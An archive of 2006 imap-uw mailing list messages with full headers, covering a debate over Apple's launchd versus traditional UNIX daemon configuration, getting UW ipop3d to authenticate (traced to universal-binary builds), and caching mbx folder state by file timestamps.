<3D0383B2-6D42-4706-8C45-693B42FC849E@daleenterprise.com> <949BFB14-9371-4C7C-ADE5-3DD0CCBC6F8B@daleenterprise.com> <1200D0FD-FA5F-4CB7-AA97-888FA548121D@prograde.net> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Michael Cashwell Subject: Re: [Imap-uw] build issues (RESOLVED) Date: Mon, 6 Mar 2006 16:04:33 -0500 To: imap-uw@u.washington.edu X-Mailer: Apple Mail (2.746.2) X-Uwash-Spam: Gauge=XXII, Probability=22%, Report='OBFU_CLASS_OTHER_LOW 2.5, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mar 6, 2006, at 2:00 PM, Mark Crispin wrote: > On Mon, 6 Mar 2006, Michael Cashwell wrote: >> Oh please! What standards? If there's a uniform and performant >> solution that addresses system-init, network daemon listers, >> system- and per-user time-scheduled execution and the like, can we >> have a link to it? It was precisely this void that prompted Apple >> to create launchd. > > Other UNIX systems have variants, each being their respective > vendors' own idea of "improved", but along a common theme that > respects the 30+ year UNIX tradition. It is possible to transfer > knowledge of one system to another; and where the changes are > major, it is possible to use man to uncover the answer. > > Apple, however, went completely off on their own, just as NeXT did > with NetInfo (creating the system where you couldn't do an ls or > much else because a DNS query didn't respond). I've been irritated too by delays and hangs when services (especially DNS) are down or during system bring-up, but I've not see this recently. And I've found Red Hat systems whose behavior was FAR worse in this regard. But these issues have more to do with poor initial configurations than inherent design problems, IMO. But it's worth noting that Apple doesn't just make these things up for the fun of it. As an example, they have deprecated OpenSSL in favor of their SecureFramework in order to support new features. (In this case the concept of having certificates and keys on smartcards where OpenSSL forces certificates to be in files.) And even in doing that they didn't just roll their own code. The framework is CDSA-based (Intel open-source) and they use the muscle card code (also open source) for much of the smartcard heavy lifting. > Launchd is unlike anything else. You have to be of the XML > religion to like it. I've noticed that neither Linux, nor BSD, nor > System V, seems to be making any move to adopt it. I'd argue that being unlike the existing, fractured solutions is a requirement in order to address them. That the other vendors aren't adopting it or doing something along the same lines is more of an indictment against them. Inertia is a powerful thing but that doesn't necessarily make it good. But that aside, I really don't understand your aversion to XML plists. It's a standard way to represent key/value data and is far more elegant than some of the flat file formats where the ideas of container data structures or hierarchy were grafted on as an afterthought. I agree that XML is ugly to edit in raw form but it was not intended to be handled that way. (No one faults JPEGs for being hard to manipulate in a text editor!) There are decent tools for working with plist XML. I certainly would prefer my daemons to use XML with their own keys than each rolling their own format from scratch. Regrettably, the latter seems to be much more common. Plists allow me to concentrate on the key/values I want to set and not spend time worrying about which daemon wants commas and which want single quotes, etc. > Much is missing. For example, nowhere in any of the Apple > configuration tools is there any operation to get the modem port to > function as an incoming dialup. "man init", "man getty" and "man > ttys" all tell you things that you already knew from UNIX, but are > totally false on Mac OS X. I freely admit that I have not done this and that some man pages are utterly wrong. The latter has improved considerably in the last 2 years, however. > Bits and pieces of the traditional programs, configuration files, > and man pages remain. Some do nothing at all (e.g., ttys, fstab). > Others work, but unpredictably (whether your xinetd configuration > will start properly at system boot time depends completely upon > timing!). Still others actually seem to be current (e.g., /etc/ > services). > > A web page has a sample launchd XML equivalent of a sample xinetd > file; but it doesn't document the set of values nor does it > document the equivalent for fields that aren't in the sample xinetd > file. I'm not sure which web page you mean here, but man launchd has "See Also launchd.plist". That man page seems to document all the various keys, values and behaviors pretty thoroughly. > I find it ironic that you complain about imapd having a fixed > configuration. That's about as "uniform and performant" as you can > get. I was talking about a uniform and performant daemon launcher / listener. Something the loose collection of init, /etc/rc, inetd, xinetd, and cron can hardly claim to be. As the launchd docs note, "... processes which are not directly initiated by users might be launched from at least three different places, and configured in at least three different ways." And there are other side effects like having to kill processes or reboot for changes to take effect. launchd is intended to try to bring some uniformity to tasks that are largely similar. My complaint with imapd wasn't that the configuration is fixed but that it's done in the source and compiled in. Using a config file read at startup strikes me as a widely used standard practice that imapd doesn't follow and maintaining my configuration across releases is made harder for it. > I couldn't help the problems caused by multiple system > configuration databases (/etc files, Yellow Pages/NIS, NetInfo), > multiple network listeners (inetd, xinetd, launchd), multiple > security packages (OpenSSL, SSPI, PAM, SecureWare, SIA, AFS, > Kerberos, POSIX,...), etc. It wasn't so bad when I wrote imapd. Quite true, I completely agree. > But I could (and did) create a single, sane, default IMAP > configuration. In my experience, most deviations from that > configuration are unnecessary, ill-informed, and generally cause > more problems than they solve. Indeed this is largely true. I see the frequent posts where people complain that they cannot log into imapd using a plain-text password or they want SSL but don't want to mess with certificates. Often they really don't want to do what they think they want to do and your defaults are superior. But there are many settings that are little more than personal preference. The two I constantly have to set are mailsubdir and hideDotFiles. This is to counteract the negative effects of the default settings in situations where users do a lot more in their home directories than just email. They don't like seeing their documents cross-pollenating with their email. Having a sane default configuration is great but if it's implemented in a manner that makes perfectly legitimate settings hard(er) to maintain then it does come at some cost. > Many of these deviations are applied by third parties, who then do > not disclose what they did, nor the implications of what they did, > with their customers. Guess who ends up answering the customers' > "why doesn't it work the way it's documented" questions. Most of > the time, the solution is to replace the hacked version with a > completely unmodified one. Yes, I've certainly seen this too and seen the problems vanish when they just use the real distribution. Please understand, I very much appreciate your hard work both on the toolkit and on trying to educate people that standards are important! And I'm certainly not in the camp that thinks Apple can do no wrong. (Don't get me started about their private, special cases relating to their 802.11 software!) But in my experience, they generally honor documented standards for data structures and protocols (unlike some vendors... ahem) but will branch out on their own in implementations of them when there's good reason. I do see value in launchd over the discordant mess it seeks to replace. Cheers! -Mike Cashwell _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Mar 6 16:03:14 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Mar 2006 16:03:14 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2703ENP005581 for ; Mon, 6 Mar 2006 16:03:14 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2703DL0019250 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Mar 2006 16:03:13 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k27039Uu016664 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Mar 2006 16:03:09 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k27039km014110; Mon, 6 Mar 2006 16:03:09 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k27038bJ014102 for ; Mon, 6 Mar 2006 16:03:08 -0800 Received: from rs27.luxsci.com (rs27.luxsci.com [66.216.127.24]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2702PoS009087 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 6 Mar 2006 16:03:07 -0800 Received: from [127.0.0.1] (c-24-34-205-122.hsd1.ma.comcast.net [24.34.205.122]) (authenticated bits=0) by rs27.luxsci.com (8.13.5/8.13.5) with ESMTP id k2702HH3024823 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Mon, 6 Mar 2006 18:02:18 -0600 Message-ID: <440CCD85.8040603@luxsci.com> Date: Mon, 06 Mar 2006 19:02:13 -0500 From: Erik Kangas User-Agent: Thunderbird 1.5 (Windows/20051201) MIME-Version: 1.0 To: BuildSmart Subject: Re: [Imap-uw] authentication never performed. References: <4879F584-AB6C-4640-8929-2F49416CA93B@daleenterprise.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu BuildSmart wrote: > > On Mar 6, 2006, at 24:49 , Mark Crispin wrote: > >> On Mon, 6 Mar 2006, BuildSmart wrote: >>> What I'm trying to achieve is true virtual users, all required >>> authentication is currently done with mysql, what I'd like to avoid >>> is adding 9263 users to /etc/passwd and creating 9263 homes. >> >> By design, UW imapd uses UNIX users and the UNIX security model. >> Some other IMAP implementations (e.g., Cyrus from CMU) has its own >> user scheme and security model. So, Cyrus may be more suitable for >> your purposes. >> >> However, I don't quite understand the cost of adding 9263 users to >> /etc/passwd -- you have to define the users someplace. >> >>> What occurs if they don't have home directories??? >> >> IMAP has secondary (non-INBOX) mailboxes. So the lack of a home >> directory means this important capability of IMAP isn't usable. >> >> For that reason, I don't quite understand the cost of creating 9263 >> homes either -- you have to have a per-user directory for the users' >> non-INBOX mailboxes anyway. >> >>> I was thinking of replacing the qpopper binary with the ipop3d from >>> uw-imap however it doesn't appear to be a drop in replacement, is >>> there any additional configurating required??? >> >> No additional configuration is required. In POP3, unlike IMAP, there >> is only the INBOX. >> >> People have replaced qpopper with ipop3d successfully. Just remember >> that ipop3d works just like imapd (internally, it's the same library) >> so requires a UNIX userid just like imapd does. > > I've set up the mail app to use an existing system user (listed in > /etc/passwd), authentication is set to use pam_unix and with qpopper I > can log in and read mail. > > I'm assuming password is plain-text or clear but tried md5-challenge > which also didn't work. > > I renamed qpopper to ipop3d, restarted everything, mail still works. > > Replaced the working ipop3d (qpopper) with the one from wu-imap, can't > read mail due to authentication problem so it's not exactly a drop in > replacement for qpopper. > > I grabbed a newer version of qpopper, built it, dropped it in, it worked. > > If it's a build issue, I'll build it any way you specify, drop it in > and see if it works cause currently I can't get the ipop3d to work at > all. > >>> I couldn't find any inetd or xinetd config files and the >>> documentation didn't tell me anything special was required for >>> arguments or did I miss something? >> >> There isn't anything special required for arguments. Arguments are >> only used with the SecureWare package used on some Tru64 UNIX and SCO >> systems; and that is determined by SecureWare, not by imapd/ipop3d. >> >> -- Mark -- One thing you could do is use nss-mysql so that your password and other related files are stored in MySQL. This will save you the performance cost of having 10,000 or 100,000 users in flat file databases. This should work with UW-IMAPd, right Mark? -Erik Kangas _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Mar 6 16:24:08 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Mar 2006 16:24:08 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k270O8AA006657 for ; Mon, 6 Mar 2006 16:24:08 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k270O62A020295 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Mar 2006 16:24:07 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k270O22H023702 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Mar 2006 16:24:02 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k270O23O021449; Mon, 6 Mar 2006 16:24:02 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k270O1Kv021441 for ; Mon, 6 Mar 2006 16:24:01 -0800 Received: from daleenterprise.com (daleenterprise.com [67.78.11.229]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k270NE7k005976 for ; Mon, 6 Mar 2006 16:24:00 -0800 Received: from localhost (localhost [127.0.0.1]) by daleenterprise.com (Postfix) with ESMTP id 6F62F7B6B32; Mon, 6 Mar 2006 19:23:13 -0500 (EST) Received: from daleenterprise.com ([127.0.0.1]) by localhost (daleenterprise.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 04477-11; Mon, 6 Mar 2006 19:23:12 -0500 (EST) Received: from [10.1.100.11] (relay.mustangrestomods.com [67.78.11.226]) by daleenterprise.com (Postfix) with ESMTP id 9A3167B6B2C; Mon, 6 Mar 2006 19:23:12 -0500 (EST) In-Reply-To: <440CCD85.8040603@luxsci.com> References: <4879F584-AB6C-4640-8929-2F49416CA93B@daleenterprise.com> <440CCD85.8040603@luxsci.com> Mime-Version: 1.0 (Apple Message framework v746.2) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: BuildSmart Subject: Re: [Imap-uw] authentication never performed. Date: Mon, 6 Mar 2006 19:23:11 -0500 To: Erik Kangas X-Mailer: Apple Mail (2.746.2) MTA-Interface: amavisd-new-2.3.3 (2005-08-22) + Maia Mailguard 1.1.0 at daleenterprise.com X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mar 6, 2006, at 19:02 , Erik Kangas wrote: > BuildSmart wrote: >> >> On Mar 6, 2006, at 24:49 , Mark Crispin wrote: >> >>> On Mon, 6 Mar 2006, BuildSmart wrote: >>>> What I'm trying to achieve is true virtual users, all required >>>> authentication is currently done with mysql, what I'd like to avoid >>>> is adding 9263 users to /etc/passwd and creating 9263 homes. >>> >>> By design, UW imapd uses UNIX users and the UNIX security model. >>> Some other IMAP implementations (e.g., Cyrus from CMU) has its own >>> user scheme and security model. So, Cyrus may be more suitable for >>> your purposes. >>> >>> However, I don't quite understand the cost of adding 9263 users to >>> /etc/passwd -- you have to define the users someplace. >>> >>>> What occurs if they don't have home directories??? >>> >>> IMAP has secondary (non-INBOX) mailboxes. So the lack of a home >>> directory means this important capability of IMAP isn't usable. >>> >>> For that reason, I don't quite understand the cost of creating 9263 >>> homes either -- you have to have a per-user directory for the users' >>> non-INBOX mailboxes anyway. >>> >>>> I was thinking of replacing the qpopper binary with the ipop3d from >>>> uw-imap however it doesn't appear to be a drop in replacement, is >>>> there any additional configurating required??? >>> >>> No additional configuration is required. In POP3, unlike IMAP, >>> there >>> is only the INBOX. >>> >>> People have replaced qpopper with ipop3d successfully. Just >>> remember >>> that ipop3d works just like imapd (internally, it's the same >>> library) >>> so requires a UNIX userid just like imapd does. >> >> I've set up the mail app to use an existing system user (listed in >> /etc/passwd), authentication is set to use pam_unix and with >> qpopper I >> can log in and read mail. >> >> I'm assuming password is plain-text or clear but tried md5-challenge >> which also didn't work. >> >> I renamed qpopper to ipop3d, restarted everything, mail still works. >> >> Replaced the working ipop3d (qpopper) with the one from wu-imap, >> can't >> read mail due to authentication problem so it's not exactly a drop in >> replacement for qpopper. >> >> I grabbed a newer version of qpopper, built it, dropped it in, it >> worked. >> >> If it's a build issue, I'll build it any way you specify, drop it in >> and see if it works cause currently I can't get the ipop3d to work at >> all. >> >>>> I couldn't find any inetd or xinetd config files and the >>>> documentation didn't tell me anything special was required for >>>> arguments or did I miss something? >>> >>> There isn't anything special required for arguments. Arguments are >>> only used with the SecureWare package used on some Tru64 UNIX and >>> SCO >>> systems; and that is determined by SecureWare, not by imapd/ipop3d. >>> >>> -- Mark -- > > One thing you could do is use nss-mysql so that your password and > other > related files are stored in MySQL. This will save you the performance > cost of having 10,000 or 100,000 users in flat file databases. This > should work with UW-IMAPd, right Mark? uw-imap requires users to be listed in the /etc/passwd database and they also require homes. I'll program a valid solution in C to check in a mysql db (so postfixadmin or similiar can be used) instead of /etc/passwd as a building option and give it to mark soon as I can get the ipop3d to work. There's no reason why mysql can't be used to supply any information required for e-mail purposes and I'd like to move into a totally "true virtual" user environment and mail is my only problem. > -Erik Kangas > > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Mar 6 20:46:33 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Mar 2006 20:46:33 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k274kXQG017796 for ; Mon, 6 Mar 2006 20:46:33 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k274kWIi032063 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Mar 2006 20:46:32 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k274kRdn027101 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Mar 2006 20:46:27 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k274kRIC015226; Mon, 6 Mar 2006 20:46:27 -0800 Received: from mxe6.u.washington.edu (mxe6.u.washington.edu [140.142.33.16]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k274kQi6015218 for ; Mon, 6 Mar 2006 20:46:26 -0800 Received: from daleenterprise.com (daleenterprise.com [67.78.11.229]) by mxe6.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k274kP4d001053 for ; Mon, 6 Mar 2006 20:46:25 -0800 Received: from localhost (localhost [127.0.0.1]) by daleenterprise.com (Postfix) with ESMTP id B45E07B79D9; Mon, 6 Mar 2006 23:46:24 -0500 (EST) Received: from daleenterprise.com ([127.0.0.1]) by localhost (daleenterprise.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 05400-09; Mon, 6 Mar 2006 23:46:24 -0500 (EST) Received: from [10.1.100.11] (relay.mustangrestomods.com [67.78.11.226]) by daleenterprise.com (Postfix) with ESMTP id AF2867B79D3; Mon, 6 Mar 2006 23:46:23 -0500 (EST) In-Reply-To: <440CCD85.8040603@luxsci.com> References: <4879F584-AB6C-4640-8929-2F49416CA93B@daleenterprise.com> <440CCD85.8040603@luxsci.com> Mime-Version: 1.0 (Apple Message framework v746.2) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <83C12409-FA03-4150-8AC6-9B16F4A79C9A@daleenterprise.com> Content-Transfer-Encoding: 7bit From: BuildSmart Subject: Re: [Imap-uw] authentication never performed. [ Finally Resolved ] Date: Mon, 6 Mar 2006 23:46:22 -0500 To: Erik Kangas X-Mailer: Apple Mail (2.746.2) MTA-Interface: amavisd-new-2.3.3 (2005-08-22) + Maia Mailguard 1.1.0 at daleenterprise.com X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I turned the software into an XCode project so I could work in an environment I'm familiar with and built specifically for ppc, lo and behold the resulting binary came to life. My second build was as i386 and testing on my Intel Mac gave me a working binary Puzzled, I went over the previous build sessions looking for a problem and while it didn't jump out at me right away it eventually did rear it's ugly little head. Surprisingly enough, the problem isn't with the code or the issued make command, it has to do with the build process in an environment that builds universal binaries, which I confirmed when I turned the XCode project into a universal project and the binary failed to authenticate in ppc but did continue to authenticate on the Intel Mac. Why this would cause a problem is beyond me but changing my build- environmemt flags to produce ppc only or i386 only code seemed to generate a working solution in both platforms. To test further, I built as a cross-compiled project for Linux and this binary worked as well so all I can conclude is that the code used in the ipop3d doesn't like to be built as a dual architecture binary or that ther eis an anomially in Apple's universal build environment that affects this particular portion of the project. I'm going to be continuing off-list with Marc in an attempt to discuss some strategies and concepts but I did want to thank those who responded and voice that this problem is worth noting. -- Dale _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Mar 9 14:00:33 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Mar 2006 14:00:33 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k29M0XCF010483 for ; Thu, 9 Mar 2006 14:00:33 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k29M0W4Z026140 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 9 Mar 2006 14:00:32 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k29M0Spe025016 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 9 Mar 2006 14:00:28 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k29M0RsU002181; Thu, 9 Mar 2006 14:00:27 -0800 Received: from mxe6.u.washington.edu (mxe6.u.washington.edu [140.142.33.16]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k29M0ROK002162 for ; Thu, 9 Mar 2006 14:00:27 -0800 Received: from rs27.luxsci.com (rs27.luxsci.com [66.216.127.24]) by mxe6.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k29M0PjL018850 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 9 Mar 2006 14:00:26 -0800 Received: from [127.0.0.1] (c-24-34-143-144.hsd1.ma.comcast.net [24.34.143.144]) (authenticated bits=0) by rs27.luxsci.com (8.13.5/8.13.5) with ESMTP id k29M0Oe2018575 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Thu, 9 Mar 2006 16:00:25 -0600 Message-ID: <4410A576.9000506@luxsci.com> Date: Thu, 09 Mar 2006 17:00:22 -0500 From: Erik Kangas User-Agent: Thunderbird 1.5 (Windows/20051201) MIME-Version: 1.0 CC: imap-uw@u.washington.edu References: <4879F584-AB6C-4640-8929-2F49416CA93B@daleenterprise.com> <440CCD85.8040603@luxsci.com> <83C12409-FA03-4150-8AC6-9B16F4A79C9A@daleenterprise.com> In-Reply-To: <83C12409-FA03-4150-8AC6-9B16F4A79C9A@daleenterprise.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Using modified date of mbx file to determine changes to folder? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, Taking into consideration the following requirements/issues: * The time it takes to open a select a folder in mbx format scales as the number of messages ... so folders with 1000s of messages can take some time to select (and get the # of messages and uid validity), especially if they are not currently in the disk cache. * I cannot always hold open a connection to the same IMAP daemon from connection to connection because 1) sometimes the connection is not persistent, and 2) sometimes we need [many] additional concurrent connections to be opened to the same folder. * We would like to cache information that is in a folder so that successive accesses can incur as little penalty as possible. Using IMAP only, we would need to look at # of messages, uid validity, and all message flags on every connection to pick up any changes. This can be costly. We do have a means of accessing the email server's file system outside of the use of IMAP. I wanted to check and see if the email folder's modified timestamp is unchanged, then that can be always taken to indicate that there are no changes to the folder (i.e. additions, deletions, or flag changes). Assume modern RedHat Linux as the OS. If this is a true statement, then the initial access can cache the data and successive accesses can skip making an IMAP connection altogether in the modified time is unchanged.... assuming the data cached is sufficient for the tasks at hand. Any suggestions are welcome. Thank you, -Erik Kangas LuxSci, Inc. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Mar 9 17:34:47 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Mar 2006 17:34:47 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1YlH7022896 for ; Thu, 9 Mar 2006 17:34:47 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1YkHo010292 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 9 Mar 2006 17:34:47 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1Yh0E030744 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 9 Mar 2006 17:34:43 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1YgRG020373; Thu, 9 Mar 2006 17:34:42 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1YgH0020365 for ; Thu, 9 Mar 2006 17:34:42 -0800 Received: from buggy.frogspace.net (buggy.frogspace.net [64.6.240.2]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2A1YfnD012785 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 9 Mar 2006 17:34:41 -0800 Received: from cpe-144-137-23-56.vic.bigpond.net.au ([144.137.23.56] helo=[192.168.0.5]) by buggy.frogspace.net with esmtp (Exim 4.44) id 1FHWWf-0008CN-J7 for imap-uw@u.washington.edu; Thu, 09 Mar 2006 17:34:41 -0800 Message-ID: <4410D7AE.4010203@blacksheepsoftware.com.au> Date: Fri, 10 Mar 2006 12:34:38 +1100 From: Brad Goldsmith User-Agent: Mozilla Thunderbird 1.0.7 (X11/20051013) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-SA-Exim-Connect-IP: 144.137.23.56 